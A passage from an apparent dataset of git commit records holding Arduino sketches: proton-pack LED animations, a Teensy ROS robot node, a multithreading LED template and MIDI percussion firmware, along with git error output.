}\n }\n break;\n }\n}\n\n\/\/ shuts off and resets the powercell\/cyclotron leds\nvoid clearPowerStrip() {\n \/\/ reset vars\n powerBooted = false;\n poweredDown = true;\n powerSeqNum = powercellIndexOffset;\n powerShutdownSeqNum = powercellLedCount - powercellIndexOffset;\n currentLightLevel = powercellLedCount;\n currentBootLevel = powercellIndexOffset;\n cyclotronRunningFadeIn = 0;\n \n \/\/ shutoff the leds\n for ( int i = 0; i <= c4End; i++) {\n powerStick.setPixelColor(i, 0);\n }\n powerStick.show();\n\n for ( int j=0; j<=3; j++ ){\n wandLights.setPixelColor(j, 0);\n }\n wandLights.show();\n\n if( venting == true ){\n setVentLightState(ventStart, ventEnd, 0);\n }\n}\n\n\/\/ boot animation on the powercell\/cyclotron\nbool reverseBootCyclotron = false;\nvoid powerSequenceBoot(int currentMillis) {\n bool doUpdate = false;\n\n \/\/ START CYCLOTRON\n if( useCyclotronFadeInEffect == false ){\n if (currentMillis - prevCycBootMillis > cyc_boot_interval) {\n prevCycBootMillis = currentMillis;\n\n if( reverseBootCyclotron == false ){\n setCyclotronLightState(c1Start, c1End, 1);\n setCyclotronLightState(c2Start, c2End, 2);\n setCyclotronLightState(c3Start, c3End, 1);\n setCyclotronLightState(c4Start, c4End, 2);\n \n doUpdate = true;\n reverseBootCyclotron = true;\n }else{\n setCyclotronLightState(c1Start, c1End, 2);\n setCyclotronLightState(c2Start, c2End, 1);\n setCyclotronLightState(c3Start, c3End, 2);\n setCyclotronLightState(c4Start, c4End, 1);\n \n doUpdate = true;\n reverseBootCyclotron = false;\n }\n }\n }else{\n if (currentMillis - prevCycBootMillis > cyc_boot_alt_interval) {\n prevCycBootMillis = currentMillis;\n setCyclotronLightState(c1Start, c4End, 4);\n doUpdate = true;\n }\n }\n \/\/ END CYCLOTRON\n \n if (currentMillis - prevPwrBootMillis > pwr_boot_interval) {\n \/\/ save the last time you blinked the LED\n prevPwrBootMillis = currentMillis;\n\n \/\/ START POWERCELL\n if( currentBootLevel != powerSeqTotal ){\n if( currentBootLevel == currentLightLevel){\n if(currentLightLevel+1 <= powerSeqTotal){\n powerStick.setPixelColor(currentLightLevel+1, 0);\n }\n powerStick.setPixelColor(currentBootLevel, powerStick.Color(0, 0, 255));\n currentLightLevel = powerSeqTotal;\n currentBootLevel++;\n }else{\n if(currentLightLevel+1 <= powerSeqTotal){\n powerStick.setPixelColor(currentLightLevel+1, 0);\n }\n powerStick.setPixelColor(currentLightLevel, powerStick.Color(0, 0, 255));\n currentLightLevel--;\n }\n doUpdate = true;\n }else{\n powerBooted = true;\n currentBootLevel = powercellIndexOffset;\n currentLightLevel = powercellLedCount - powercellIndexOffset;\n }\n \/\/ END POWERCELL\n }\n\n \/\/ if we have changed an led\n if( doUpdate == true ){\n powerStick.show(); \/\/ commit all of the changes\n }\n}\n\n\/\/ idle\/firing animation for the powercell\/cyclotron\nint cycOrder = 0; \/\/ which cyclotron led will be lit next\nint cycFading = -1; \/\/ which cyclotron led is fading out for game style\nvoid powerSequenceOne(int currentMillis, int anispeed, int cycspeed, int cycfadespeed) {\n bool doUpdate = false; \/\/ keep track of if we changed something so we only update on changes\n\n \/\/ START CYCLOTRON \n if( useGameCyclotronEffect == true ){ \/\/ if we are doing the video game style cyclotron\n if (currentMillis - prevCycMillis > cycspeed) {\n prevCycMillis = currentMillis;\n \n switch ( cycOrder ) {\n case 0:\n setCyclotronLightState(c1Start, c1End, 0);\n setCyclotronLightState(c2Start, c2End, 2);\n setCyclotronLightState(c3Start, c3End, 2);\n cycFading = 0;\n cyclotronRunningFadeOut = 255;\n cycOrder = 1;\n break;\n case 1:\n setCyclotronLightState(c2Start, c2End, 0);\n setCyclotronLightState(c3Start, c3End, 2);\n setCyclotronLightState(c4Start, c4End, 2);\n cycFading = 1;\n cyclotronRunningFadeOut = 255;\n cycOrder = 2;\n break;\n case 2:\n setCyclotronLightState(c1Start, c1End, 2);\n setCyclotronLightState(c3Start, c3End, 0);\n setCyclotronLightState(c4Start, c4End, 2);\n cycFading = 2;\n cyclotronRunningFadeOut = 255;\n cycOrder = 3;\n break;\n case 3:\n setCyclotronLightState(c1Start, c1End, 2);\n setCyclotronLightState(c2Start, c2End, 2);\n setCyclotronLightState(c4Start, c4End, 0);\n cycFading = 3;\n cyclotronRunningFadeOut = 255;\n cycOrder = 0;\n break;\n }\n \n doUpdate = true;\n }\n \n \/\/ now figure out the fading light\n if( currentMillis - prevFadeCycMillis > cycfadespeed ){\n prevFadeCycMillis = currentMillis;\n if( cycFading != -1 ){\n switch ( cycFading ) {\n case 0:\n setCyclotronLightState(c4Start, c4End, 3);\n break;\n case 1:\n setCyclotronLightState(c1Start, c1End, 3);\n break;\n case 2:\n setCyclotronLightState(c2Start, c2End, 3);\n break;\n case 3:\n setCyclotronLightState(c3Start, c3End, 3);\n break;\n }\n doUpdate = true;\n }\n }\n }else{ \/\/ otherwise this is the standard version\n if (currentMillis - prevCycMillis > cycspeed) {\n prevCycMillis = currentMillis;\n \n switch ( cycOrder ) {\n case 0:\n setCyclotronLightState(c4Start, c4End, 2);\n setCyclotronLightState(c1Start, c1End, 0);\n setCyclotronLightState(c2Start, c2End, 2);\n setCyclotronLightState(c3Start, c3End, 2);\n cycFading = 0;\n cyclotronRunningFadeOut = 255;\n cycOrder = 1;\n break;\n case 1:\n setCyclotronLightState(c1Start, c1End, 2);\n setCyclotronLightState(c2Start, c2End, 0);\n setCyclotronLightState(c3Start, c3End, 2);\n setCyclotronLightState(c4Start, c4End, 2);\n cycFading = 1;\n cyclotronRunningFadeOut = 255;\n cycOrder = 2;\n break;\n case 2:\n setCyclotronLightState(c1Start, c1End, 2);\n setCyclotronLightState(c2Start, c2End, 2);\n setCyclotronLightState(c3Start, c3End, 0);\n setCyclotronLightState(c4Start, c4End, 2);\n cycFading = 2;\n cyclotronRunningFadeOut = 255;\n cycOrder = 3;\n break;\n case 3:\n setCyclotronLightState(c1Start, c1End, 2);\n setCyclotronLightState(c2Start, c2End, 2);\n setCyclotronLightState(c3Start, c3End, 2);\n setCyclotronLightState(c4Start, c4End, 0);\n cycFading = 3;\n cyclotronRunningFadeOut = 255;\n cycOrder = 0;\n break;\n }\n \n doUpdate = true;\n }\n }\n \/\/ END CYCLOTRON\n\n \/\/ START POWERCELL\n if (currentMillis - prevPwrMillis > anispeed) {\n \/\/ save the last time you blinked the LED\n prevPwrMillis = currentMillis;\n\n for ( int i = powercellIndexOffset; i <= powerSeqTotal; i++) {\n if ( i <= powerSeqNum ) {\n powerStick.setPixelColor(i, powerStick.Color(0, 0, 150));\n } else {\n powerStick.setPixelColor(i, 0);\n }\n }\n \n if ( powerSeqNum <= powerSeqTotal) {\n powerSeqNum++;\n } else {\n powerSeqNum = powercellIndexOffset;\n }\n\n doUpdate = true;\n }\n \/\/ END POWERCELL\n\n \/\/ if we changed anything update\n if( doUpdate == true ){\n powerStick.show();\n }\n}\n\n\/\/ shutdown animation for the powercell\/cyclotron\nint cyclotronFadeOut = 255;\nvoid powerSequenceShutdown(int currentMillis) {\n if (currentMillis - prevShtdMillis > pwr_shutdown_interval) {\n prevShtdMillis = currentMillis;\n\n \/\/ START CYCLOTRON\n for(int i=c1Start; i <= c4End; i++) {\n if( cyclotronFadeOut >= 0 ){\n powerStick.setPixelColor(i, 255 * cyclotronFadeOut\/255, 0, 0);\n cyclotronFadeOut--;\n }else{\n powerStick.setPixelColor(i, 0);\n }\n }\n \/\/ END CYCLOTRON\n \n \/\/ START POWERCELL\n for ( int i = powerSeqTotal; i >= powercellIndexOffset; i--) {\n if ( i <= powerShutdownSeqNum ) {\n powerStick.setPixelColor(i, powerStick.Color(0, 0, 150));\n } else {\n powerStick.setPixelColor(i, 0);\n }\n }\n \n powerStick.show();\n \n if ( powerShutdownSeqNum >= powercellIndexOffset) {\n powerShutdownSeqNum--;\n } else {\n poweredDown = true;\n powerShutdownSeqNum = powercellLedCount - powercellIndexOffset;\n cyclotronFadeOut = 255;\n }\n \/\/ END POWERCELL\n }\n}\n\n\/*************** Nose Jewel Firing Animations *********************\/\nunsigned long prevFireMillis = 0;\nconst int fire_interval = 50; \/\/ interval at which to cycle lights (milliseconds).\nint fireSeqNum = 0;\nint fireSeqTotal = 5;\n\nvoid clearFireStrobe() {\n for ( int i = 0; i < 7; i++) {\n noseJewel.setPixelColor(i, 0);\n }\n noseJewel.show();\n fireSeqNum = 0;\n}\n\nvoid fireStrobe(int currentMillis) {\n if (currentMillis - prevFireMillis > fire_interval) {\n prevFireMillis = currentMillis;\n \n switch ( fireSeqNum ) {\n case 0:\n noseJewel.setPixelColor(0, noseJewel.Color(255, 255, 255));\n noseJewel.setPixelColor(1, noseJewel.Color(255, 255, 255));\n noseJewel.setPixelColor(2, 0);\n noseJewel.setPixelColor(3, noseJewel.Color(255, 255, 255));\n noseJewel.setPixelColor(4, 0);\n noseJewel.setPixelColor(5, noseJewel.Color(255, 255, 255));\n noseJewel.setPixelColor(6, 0);\n break;\n case 1:\n noseJewel.setPixelColor(0, noseJewel.Color(0, 0, 255));\n noseJewel.setPixelColor(1, noseJewel.Color(255, 0, 0));\n noseJewel.setPixelColor(2, noseJewel.Color(255, 255, 255));\n noseJewel.setPixelColor(3, noseJewel.Color(255, 0, 0));\n noseJewel.setPixelColor(4, noseJewel.Color(255, 255, 255));\n noseJewel.setPixelColor(5, noseJewel.Color(255, 0, 0));\n noseJewel.setPixelColor(6, noseJewel.Color(255, 255, 255));\n break;\n case 2:\n noseJewel.setPixelColor(0, noseJewel.Color(255, 0, 0));\n noseJewel.setPixelColor(1, 0);\n noseJewel.setPixelColor(2, noseJewel.Color(0, 0, 255));\n noseJewel.setPixelColor(3, 0);\n noseJewel.setPixelColor(4, noseJewel.Color(0, 0, 255));\n noseJewel.setPixelColor(5, 0);\n noseJewel.setPixelColor(6, noseJewel.Color(255, 0, 0));\n break;\n case 3:\n noseJewel.setPixelColor(0, noseJewel.Color(0, 0, 255));\n noseJewel.setPixelColor(1, noseJewel.Color(255, 0, 0));\n noseJewel.setPixelColor(2, noseJewel.Color(255, 255, 255));\n noseJewel.setPixelColor(3, noseJewel.Color(255, 0, 0));\n noseJewel.setPixelColor(4, noseJewel.Color(255, 255, 255));\n noseJewel.setPixelColor(5, noseJewel.Color(255, 0, 0));\n noseJewel.setPixelColor(6, noseJewel.Color(255, 255, 255));\n break;\n case 4:\n noseJewel.setPixelColor(0, noseJewel.Color(255, 0, 0));\n noseJewel.setPixelColor(1, 0);\n noseJewel.setPixelColor(2, noseJewel.Color(255, 255, 255));\n noseJewel.setPixelColor(3, 0);\n noseJewel.setPixelColor(4, noseJewel.Color(255, 0, 0));\n noseJewel.setPixelColor(5, 0);\n noseJewel.setPixelColor(6, noseJewel.Color(255, 255, 255));\n break;\n case 5:\n noseJewel.setPixelColor(0, noseJewel.Color(255, 0, 255));\n noseJewel.setPixelColor(1, noseJewel.Color(0, 255, 0));\n noseJewel.setPixelColor(2, noseJewel.Color(255, 0, 0));\n noseJewel.setPixelColor(3, noseJewel.Color(0, 0, 255));\n noseJewel.setPixelColor(4, noseJewel.Color(255, 0, 255));\n noseJewel.setPixelColor(5, noseJewel.Color(255, 255, 255));\n noseJewel.setPixelColor(6, noseJewel.Color(0, 0, 255));\n break;\n }\n \n noseJewel.show();\n \n fireSeqNum++;\n if ( fireSeqNum > fireSeqTotal ) {\n fireSeqNum = 0;\n }\n }\n}\n\n\/*************** Bar Graph Animations *********************\/\n\/\/ This is the idle sequence\nunsigned long prevBarMillis_on = 0; \/\/ bargraph on tracker\nconst int pwrcl_interval = 60; \/\/ interval at which to cycle lights (milliseconds).\nbool reverseSequenceOne = false;\n\nvoid barGraphSequenceOne(int currentMillis) {\n \/\/ normal sync animation on the bar graph\n if (currentMillis - prevBarMillis_on > pwrcl_interval) {\n \/\/ save the last time you blinked the LED\n prevBarMillis_on = currentMillis;\n\n if ( reverseSequenceOne == false ) {\n switch_graph_led(seq_1_current, HIGH);\n seq_1_current++;\n if ( seq_1_current > num_led ) {\n reverseSequenceOne = true;\n }\n } else {\n switch_graph_led(seq_1_current, LOW);\n seq_1_current--;\n if ( seq_1_current < 0 ) {\n reverseSequenceOne = false;\n }\n }\n }\n}\n\n\/\/ This is the firing sequence\nunsigned long prevBarMillis_fire = 0; \/\/ bargraph firing tracker\nint fireSequenceNum = 1;\n\nvoid barGraphSequenceTwo(int currentMillis) {\n if (currentMillis - prevBarMillis_fire > firing_interval) {\n \/\/ save the last time you blinked the LED\n prevBarMillis_fire = currentMillis;\n\n switch (fireSequenceNum) {\n case 1:\n switch_graph_led(2, LOW);\n switch_graph_led(14, LOW);\n switch_graph_led(1, HIGH);\n switch_graph_led(15, HIGH);\n fireSequenceNum++;\n break;\n case 2:\n switch_graph_led(1, LOW);\n switch_graph_led(15, LOW);\n switch_graph_led(2, HIGH);\n switch_graph_led(14, HIGH);\n fireSequenceNum++;\n break;\n case 3:\n switch_graph_led(2, LOW);\n switch_graph_led(14, LOW);\n switch_graph_led(3, HIGH);\n switch_graph_led(13, HIGH);\n fireSequenceNum++;\n break;\n case 4:\n switch_graph_led(3, LOW);\n switch_graph_led(13, LOW);\n switch_graph_led(4, HIGH);\n switch_graph_led(12, HIGH);\n fireSequenceNum++;\n break;\n case 5:\n switch_graph_led(4, LOW);\n switch_graph_led(12, LOW);\n switch_graph_led(5, HIGH);\n switch_graph_led(11, HIGH);\n fireSequenceNum++;\n break;\n case 6:\n switch_graph_led(5, LOW);\n switch_graph_led(11, LOW);\n switch_graph_led(6, HIGH);\n switch_graph_led(10, HIGH);\n fireSequenceNum++;\n break;\n case 7:\n switch_graph_led(6, LOW);\n switch_graph_led(10, LOW);\n switch_graph_led(7, HIGH);\n switch_graph_led(9, HIGH);\n fireSequenceNum++;\n break;\n case 8:\n switch_graph_led(7, LOW);\n switch_graph_led(9, LOW);\n switch_graph_led(6, HIGH);\n switch_graph_led(10, HIGH);\n fireSequenceNum++;\n break;\n case 9:\n switch_graph_led(6, LOW);\n switch_graph_led(10, LOW);\n switch_graph_led(5, HIGH);\n switch_graph_led(11, HIGH);\n fireSequenceNum++;\n break;\n case 10:\n switch_graph_led(5, LOW);\n switch_graph_led(11, LOW);\n switch_graph_led(4, HIGH);\n switch_graph_led(12, HIGH);\n fireSequenceNum++;\n break;\n case 11:\n switch_graph_led(4, LOW);\n switch_graph_led(12, LOW);\n switch_graph_led(3, HIGH);\n switch_graph_led(13, HIGH);\n fireSequenceNum++;\n break;\n case 12:\n switch_graph_led(3, LOW);\n switch_graph_led(13, LOW);\n switch_graph_led(2, HIGH);\n switch_graph_led(14, HIGH);\n fireSequenceNum = 1;\n break;\n }\n }\n}\n\n\/************************* Shutdown and helper functions ****************************\/\nvoid shutdown_leds() {\n \/\/ reset the sequence\n seq_1_current = 1;\n fireSequenceNum = 1;\n\n \/\/ shut all led's off\n for (int i = 1; i <= 15; i++) {\n switch_graph_led(i, LOW);\n }\n}\n\nvoid switch_graph_led(int num, int state) {\n switch (num) {\n case 1:\n io.digitalWrite(SX1509_BAR_01, state);\n break;\n case 2:\n io.digitalWrite(SX1509_BAR_02, state);\n break;\n case 3:\n io.digitalWrite(SX1509_BAR_03, state);\n break;\n case 4:\n io.digitalWrite(SX1509_BAR_04, state);\n break;\n case 5:\n io.digitalWrite(SX1509_BAR_05, state);\n break;\n case 6:\n io.digitalWrite(SX1509_BAR_06, state);\n break;\n case 7:\n io.digitalWrite(SX1509_BAR_07, state);\n break;\n case 8:\n io.digitalWrite(SX1509_BAR_08, state);\n break;\n case 9:\n io.digitalWrite(SX1509_BAR_09, state);\n break;\n case 10:\n io.digitalWrite(SX1509_BAR_10, state);\n break;\n case 11:\n io.digitalWrite(SX1509_BAR_11, state);\n break;\n case 12:\n io.digitalWrite(SX1509_BAR_12, state);\n break;\n case 13:\n io.digitalWrite(SX1509_BAR_13, state);\n break;\n case 14:\n io.digitalWrite(SX1509_BAR_14, state);\n break;\n case 15:\n io.digitalWrite(SX1509_BAR_15, state);\n break;\n }\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/Neutrino_Wand_With_Graph\/Neutrino_Wand_With_Graph.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"7a9a2f0c968a78684fc4f62be251c3fe2a1693bb","subject":"Initial code for the official Victoria ros node. A work in progress.","message":"Initial code for the official Victoria ros node. A work in progress.\n","repos":"victoriarobotics\/victoria_platform","old_file":"Arduino\/victoria_teensy_ros_node\/victoria_teensy_ros_node.ino","new_file":"Arduino\/victoria_teensy_ros_node\/victoria_teensy_ros_node.ino","new_contents":"\/*\n * Victoria Teensy ROS Node\n * \n * This code is the ROS node that executes on the Teensy processor\n * for the Victoria RoboMagellan team. It uses the rosserial\n * library to communicate with ROS. It uses Arduino and Teensy\n * libraries to interact with systems and circuits connected to the\n * Teensy processor. This code assumes that a Teensy 3.5 is used.\n *\/\n\n\/\/ Teensy includes\n#define ENCODER_OPTIMIZE_INTERRUPTS\n#include <Encoder.h> \/\/ \n#include <i2c_t3.h>\n\n\/\/ ROS includes\n#include <ros.h>\n#include <geometry_msgs\/Twist.h>\n#include <nav_msgs\/Odometry.h>\n#include <tf\/transform_broadcaster.h>\n\n\/\/ Teensy pin definitions\n#define ENCODER_LEFT_PIN_1 29 \/\/ Teensy digital pin 29\n#define ENCODER_LEFT_PIN_2 30 \/\/ Teensy digital pin 30\n#define ENCODER_RIGHT_PIN_1 31 \/\/ Teensy digital pin 31\n#define ENCODER_RIGHT_PIN_2 32 \/\/ Teensy digital pin 32\n#define BUMPER_LEFT_PIN 14 \/\/ Teensy analog pin 14\n#define BUMPER_RIGHT_PIN 15 \/\/ Teensy analog pin 15\n\n\/\/ TRex motor controller\nHardwareSerial trex = HardwareSerial();\n\n\/\/ Motor encoders\nEncoder encoder_l(ENCODER_LEFT_PIN_1, ENCODER_LEFT_PIN_2);\nEncoder encoder_r(ENCODER_RIGHT_PIN_1, ENCODER_RIGHT_PIN_2);\nunsigned long encoder_l_pos;\nunsigned long encoder_r_pos;\n\n\/\/ Bumper sensors\n#define BUMPER_THRESHOLD 500 \/\/ Threshold that will indicate robot should stop\nunsigned int bumper_l_base;\nunsigned int bumper_r_base;\n\n\/\/ ROS node handle\nros::NodeHandle ros_nh;\n\n\/\/ ROS cmd_vel subscriber\nvoid cmdVelCallback(const geometry_msgs::Twist& twist_msg);\nros::Subscriber<geometry_msgs::Twist> ros_cmd_vel_sub(\"cmd_vel\", cmdVelCallback);\n\n\/\/ ROS Odometry publisher\nnav_msgs::Odometry ros_odom_msg;\nros::Publisher ros_odom_pub(\"odom\", &ros_odom_msg);\n\n\/\/ ROS Odometry broadcaster\ngeometry_msgs::TransformStamped ros_odom_transform;\ntf::TransformBroadcaster ros_odom_broadcaster;\n\nros::Time current_time;\nros::Time last_time;\nros::Time last_cmd_vel_time;\n\nchar ros_odom_header_frame_id[] = \"\/odom\";\nchar ros_odom_child_frame_id[] = \"\/base_link\";\n \nvoid setup() {\n current_time = ros_nh.now();\n last_time = current_time;\n last_cmd_vel_time = current_time;\n encoder_l_pos = 0.0;\n encoder_r_pos = 0.0;\n bumper_l_base = analogRead(BUMPER_LEFT_PIN);\n bumper_r_base = analogRead(BUMPER_RIGHT_PIN);\n\n \/\/ Setup basic I2C master mode pins 18\/19, external pullups, 400kHz, 200ms default timeout\n Wire.begin(I2C_MASTER, 0x00, I2C_PINS_18_19, I2C_PULLUP_EXT, 400000);\n Wire.setDefaultTimeout(200000); \/\/ 200ms\n \n \/\/ Start serial port to TRex\n trex.begin(19200);\n\n \/\/ Initialize ros node\n ros_nh.initNode();\n\n \/\/ Initialize broadcasters\n ros_odom_transform.header.frame_id = ros_odom_header_frame_id;\n ros_odom_transform.child_frame_id = ros_odom_child_frame_id;\n ros_odom_broadcaster.init(ros_nh);\n\n \/\/ Initialize ros publishers\n ros_odom_msg.header.frame_id = ros_odom_header_frame_id;\n ros_odom_msg.child_frame_id = ros_odom_child_frame_id;\n ros_nh.advertise(ros_odom_pub);\n\n \/\/ Initialize ros subscribers\n ros_nh.subscribe(ros_cmd_vel_sub);\n}\n\nvoid loop() {\n ros_nh.spinOnce();\n current_time = ros_nh.now();\n\n \/\/ If we have not received any cmd_vel messages for a while,\n \/\/ something is wrong, stop the robot.\n \n \/\/ Read bumper sensors\n unsigned int new_bumper_l = analogRead(BUMPER_LEFT_PIN);\n unsigned int new_bumper_r = analogRead(BUMPER_RIGHT_PIN);\n\n \/\/ Check bumper thresholds to stop robot\n \n \/\/ Read encoders\n unsigned long new_encoder_l_pos = encoder_l.read();\n unsigned long new_encoder_r_pos = encoder_r.read();\n\n \/\/ Read imu data\n\n \/\/ Broadcast odometry transform\n ros_odom_transform.header.stamp = current_time;\n\n \/\/ TODO: set all the transform data\n\n ros_odom_broadcaster.sendTransform(ros_odom_transform);\n \n \/\/ Publish Odometry\n ros_odom_msg.header.stamp = current_time;\n \n \/\/ TODO: Set all the odometry data\n \n ros_odom_pub.publish(&ros_odom_msg);\n \n last_time = current_time;\n}\n\nvoid cmdVelCallback(const geometry_msgs::Twist& twist_msg) {\n last_cmd_vel_time = ros_nh.now();\n \n \/\/ Do something interesting with the cmd_vel\n setMotors(100, 100);\n}\n\n\/*\n * Sets the speed for the motors. Values are expected\n * to be between -255 and 255. Values outside this range\n * will be pinned.\n *\/\nvoid setMotors(int motor_l_speed, int motor_r_speed) {\n byte command_byte_l = 0xC4;\n if (motor_l_speed < 0) {\n command_byte_l = command_byte_l | 0x01;\n } else {\n command_byte_l = command_byte_l | 0x02;\n }\n motor_l_speed = abs(motor_l_speed);\n if (motor_l_speed > 255) {\n motor_l_speed = 255;\n }\n\n byte command_byte_r = 0xCC;\n if (motor_r_speed < 0) {\n command_byte_r = command_byte_r | 0x01;\n } else {\n command_byte_r = command_byte_r | 0x02;\n }\n motor_r_speed = abs(motor_r_speed);\n if (motor_r_speed > 255) {\n motor_r_speed = 255;\n }\n \n trex.write(command_byte_l);\n trex.write((byte)motor_l_speed);\n trex.write(command_byte_r);\n trex.write((byte)motor_r_speed);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/victoria_teensy_ros_node\/victoria_teensy_ros_node.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"45e9b17877096d6f11d1314b5222d312a0394647","subject":"add simple multithreading template using new thread syntax","message":"add simple multithreading template using new thread syntax\n","repos":"chibitronics\/ltc-webview-layer,chibitronics\/ltc-webview-layer,chibitronics\/ltc-webview-layer,chibitronics\/ltc-webview-layer","old_file":"examples-ltc\/B.Threads\/LTCthreads\/SimpleMultithreadingTemplate.ino","new_file":"examples-ltc\/B.Threads\/LTCthreads\/SimpleMultithreadingTemplate.ino","new_contents":"\/\/ Love to Code\n\n\/\/ Simple multithread template\n\/\/\n\/\/ Multithreading is the act of running multiple pieces of code at the same time.\n\/\/ Concurrency is the act of sharing variables between threads.\n\/\/\n\/\/ Remember: Multithreading is easy; concurrency is hard.\n\/\/\n\/\/ So, as long as you don't share any variables between threads, multithreading\n\/\/ is straightforward. This template allows you to put code in up to six\n\/\/ threads that execute in parallel.\n\/\/\n\/\/ The easiest way to use this code is to imagine you are writing a separate program,\n\/\/ with differently named variable names and pin names, for each output pin on LTC.\n\/\/\n\/\/ If you put \"tN_\" (e.g. t0_, t1_, t2_) in front of every variable name within\n\/\/ each thread, it will help make sure you don't accidentally share a simple variable\n\/\/ name between threads.\n\n#include \"ChibiOS.h\" \/\/ we need to include our special functions to enable threading\n#include \"SimpleThreads.h\"\n\nconst int g_fadeAmount = 5; \/\/ this is global, mark as const to avoid modifications\n\/\/ \"const\" means a variable can only be read. Read-only variables can be safely shared\n\/\/ across all threads.\n\n\/\/\/\/\/ thread 0\nint t0_brightness = 0;\nint t0_led = 0;\nint t0_fadeAmount;\n\nvoid setup0() {\n \/\/ thread 0's specific setup stuff here\n pinMode(t0_led, OUTPUT);\n t0_fadeAmount = g_fadeAmount;\n}\n\nvoid loop0() {\n \/\/ thread 0's loop here\n analogWrite(t0_led, t0_brightness);\n\n t0_brightness = t0_brightness + t0_fadeAmount;\n\n if (t0_brightness <= 0 || t0_brightness >= 255) {\n t0_fadeAmount = -t0_fadeAmount ; \n } \n\n delay(30); \n}\n\n\/\/\/\/\/ thread 1\nint t1_brightness = 128;\nint t1_led = 1;\nint t1_fadeAmount;\n\nvoid setup1() {\n \/\/ thread 1's specific setup stuff here\n pinMode(t1_led, OUTPUT);\n t1_fadeAmount = g_fadeAmount;\n}\n\nvoid loop1() {\n \/\/ thread 1's loop here\n analogWrite(t1_led, t1_brightness);\n\n t1_brightness = t1_brightness + t1_fadeAmount;\n\n if (t1_brightness <= 0 || t1_brightness >= 255) {\n t1_fadeAmount = -t1_fadeAmount ; \n } \n\n delay(30); \n}\n\n\n\/\/\/\/\/ thread 2 \nvoid setup2() {\n outputMode(2);\n}\n\nvoid loop2() {\n on(2);\n pause(500);\n off(2);\n pause(500);\n}\n\n\/\/\/\/\/ thread 3 \nvoid setup3() {\n outputMode(3);\n}\n\nvoid loop3() {\n on(3);\n pause(400);\n off(3);\n pause(400);\n}\n\n\/\/\/\/\/ thread 4 \nvoid setup4() {\n outputMode(4);\n}\n\nvoid loop4() {\n on(4);\n pause(600);\n off(4);\n pause(600);\n}\n\n\/\/\/\/\/ thread 5 \nvoid setup5() {\n outputMode(5);\n}\n\nvoid loop5() {\n on(5);\n pause(1000);\n off(5);\n pause(1000);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples-ltc\/B.Threads\/LTCthreads\/SimpleMultithreadingTemplate.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"cc7323229d3ea55a3f995c064fdb0dcb5d0cf357","subject":"Firmware draft","message":"Firmware draft\n","repos":"Sonoscopia\/Phobos,Sonoscopia\/Phobos,Sonoscopia\/Phobos","old_file":"Ensembles\/EnsembleOne\/firmeware\/EnsembleOne_firmware\/EnsembleOne_firmware.ino","new_file":"Ensembles\/EnsembleOne\/firmeware\/EnsembleOne_firmware\/EnsembleOne_firmware.ino","new_contents":"\/* PHOBOS - EnsembleOne firmware v.0.1 (16.05.2017)\n * \n * \n *\/\n\n#include <MIDI.h>\n\n\/\/ MOUSSE BOWLS' PINS\n#define A1 7\n#define A2 8\n#define A3 9 \n#define A4 10\n\/\/ MEDALS' PINS\n#define B1 4\n#define B2 5\n#define B3 6\n\/\/ SHAKERS' PINS\n#define C1 44\n#define C2 2\n#define C3 3\n\/\/ WOOD BLOCKS' PINS\n#define D1 46\n#define D2 45\n\n\/\/ make note to pin array\nbyte note2pin[38];\nbyte vel, pitch;\n\nMIDI_CREATE_DEFAULT_INSTANCE();\n\nvoid setup() {\n MIDI.begin(1); \/\/ Launch MIDI and listen to channel 1\n \n \/\/ set output pins\n pinMode(A1, OUTPUT);\n pinMode(A2, OUTPUT);\n pinMode(A3, OUTPUT);\n pinMode(A4, OUTPUT);\n \n pinMode(B1, OUTPUT);\n pinMode(B2, OUTPUT);\n pinMode(B3, OUTPUT);\n \n pinMode(C1, OUTPUT);\n pinMode(C2, OUTPUT);\n pinMode(C3, OUTPUT);\n \n pinMode(D1, OUTPUT);\n pinMode(D2, OUTPUT);\n\n \/\/ set note2pin array\n note2pin[0] = A1;\n note2pin[1] = A2;\n note2pin[2] = A3;\n note2pin[3] = A4; \n\n note2pin[12] = B1;\n note2pin[13] = B2;\n note2pin[14] = B3;\n\n note2pin[24] = C1;\n note2pin[25] = C2;\n note2pin[26] = C3;\n\n note2pin[36] = D1;\n note2pin[37] = D2;\n}\n\nvoid loop() {\n if(MIDI.read()){\n switch(MIDI.getType(){\n case midi::NoteOn:\n pitch = MIDI.getData1();\n vel = MIDI.getData2();\n analogWrite(note2pin[pitch], vel << 1);\n break;\n\n case midi::NoteOff:\n pitch = MIDI.getData1();\n analogWrite(note2pin[pitch], LOW);\n break;\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Ensembles\/EnsembleOne\/firmeware\/EnsembleOne_firmware\/EnsembleOne_firmware.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"47bee170dd72884c5419053029d4646aef768c9f","subject":"Nuevo sketch principal adaptado a las nuevas funcionalidades.","message":"Nuevo sketch principal adaptado a las nuevas funcionalidades.\n","repos":"nverdicchio\/soa-2017-bicicleta-inteligente,nverdicchio\/soa-2017-bicicleta-inteligente","old_file":"Arduino\/integraciones\/BicicletaInteligente\/BicicletaInteligente.ino","new_file":"Arduino\/integraciones\/BicicletaInteligente\/BicicletaInteligente.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/nverdicchio\/soa-2017-bicicleta-inteligente.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"d718a4a1664ef580f3bcfae0b0f2d5c305ecf248","subject":"Remove extra Udp.parsePacket() from example, it should only be called once","message":"Remove extra Udp.parsePacket() from example, it should only be called 